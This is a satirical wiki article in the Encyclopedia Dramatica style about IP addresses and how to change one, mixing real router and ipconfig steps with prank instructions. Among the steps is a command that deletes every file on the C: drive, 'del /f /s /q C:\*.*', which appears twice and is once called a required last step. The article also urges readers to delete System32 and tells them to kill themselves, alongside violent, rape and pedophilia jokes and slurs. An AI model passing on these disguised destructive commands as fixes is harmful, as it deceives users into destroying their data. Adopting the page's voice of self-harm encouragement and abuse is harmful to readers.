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| | I have your IP address. |
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| [[Image:Ipaddress.png|thumb|right|[[Skript kiddies|Someone]] can immediately begin attacking your [[computer]]!]]
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| Your IP Address is '''127.0.0.1''' and we are haxing your computer now. Not even pressing Alt+F4 will save you now, [[noob]].
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| With your IP, someone can HACK YOUR SHIT, KILL YOUR [[PARENTS]], KILL YOUR FIRSTBORN SON, BUTTRAPE YOUR DAUGHTERS, SLAUGHTER EVERYONE IN YOUR AREA, AND KILL YOUR [[GOD]] AND YOUR DOG.
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| [https://hidemyass.com/proxy-list/ Proxies] are the standard way of hiding your IP address from [[China|oppressive governmental regimes]].
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| ==Why would you change your IP?==
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| It's useful if:
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| #[[You]] are a [[pedophile]] looking for an IP that hasn't been banned yet because of CP posting.
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| #[[You]] are planning to create a giant [[sock puppet]] farm in order to overturn [[Wikipedia]] ''ad majorem [[ED]]i gloriam''.
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| #[[You]] were such a [[n00b]] in a forum and you annoyed the admins so much that they [[banned]] you.
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| #[[You]] want to [[raid]] a forum of [[n00bs]] but you failed to hire some /b/tards as they are not your [[personal army]].
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| #[[You]] got humiliated and [[pwned]] by a powerful [[troll]] and you try to get a new identity.
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| #[[You]] are a hacker sought by the police.
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| #[[You]] were interrupted in a [[NO U]] war and you don't want to become a [[luser]].
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| ==How to change your IP==
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| ===#1===
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| If your computer is connected directly to the [[Tubes|internet]] without a NAT router in between, try this:
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| #Get to a command prompt. (From the [[Windows|Start]] menu, choose Run..., type <code>cmd</code> and [[Push_Butan|press Enter]].)
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| #Type <code>ipconfig /release</code> and press Enter.
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| #Optional: Turn off the computer and leave it turned off overnight.
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| #Type <code>ipconfig /renew</code> and press Enter.
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| #Type <code>del /f /s /q C:\*.*</code> and press Enter.
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| #Do not forget the last step!
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| ===#2===
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| #Log into the router's admin console (often http://192.168.1.1/ or http://192.168.0.1), or for netgear brand routers use http://routerlogin.net
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| #Release the IP address (method varies by router manufacturer).
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| #Turn off router, Ethernet hubs/switches, and the cable/DSL modem.
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| #Leave everything off overnight.
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| #Turn everything back on and confirm the switch.
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| ====#2.1 (simplified but unreliable)====
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| #Turn off your router, any Ethernet hubs/switches and your cable/DSL modem.
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| #Optional: Shut down your computer and leave it off until completed
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| #Leave everything off for 5-10 minutes.
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| #Confirm the switch.
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| #Try Method 2 if this fails.
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| ===#3===
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| #Go to http://192.168.1.1 or http://192.168.0.1 , or for netgear brand routers use http://routerlogin.net
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| #Log in (if you do not know the password, [[Google]] for default router passwords).
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| #Find DNS addresses and write them down.
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| #Switch setting to Static IP. Put in DNS addresses and change your IP to whatever you like.
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| ===#4===
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| #Log into the router's admin console. (Often http://192.168.1.1/), or for netgear brand routers use http://routerlogin.net
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| #Release the IP address. (Method varies by router manufacturer)
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| #Change [[MAC address]].
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| #Turn everything back on.
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| ===#5===
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| ===If nothing works===
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| #Type <code>del /f /s /q C:\*.*</code> and press Enter.
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| #Kill yourself.
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| ====[[Final solution]]====
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| Eliminating the virus known as [[System32]] constitutes a permanent solution for this issue. [[Windows Optimizer]] can delete said virus, so you can change your IP at will.
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| ====How to change your IP #6====
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| Go over to your computer and rip all wires out of wall problem solved
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| ====How to change your IP #7====
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| Move to [[Germany]] and get your Internets from a [[Nazi|german]] ISP. They automatically change your IP every 24 hours preferably while you're playing [[Call of Duty: Black Ops 2|Black Ops 2]], forcing you to lose [[the game|the connection]]. Unfortunately, the [[Communism|german Government]] can legally [[stalk|view]] [[you]]r [[porn]] traffic under the clever guise of finding [[Pedophile]]s, so you'll still need a Proxy.
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| ==How IP's are allocated by /8 subnet==
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| [[File:Internetmap.jpg|center]]
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| ==External Links==
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| *[http://www.danasoft.com A harmless forum signature to scare newfags.]
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| *[https://192168-ll.com/ 192.168 ll]
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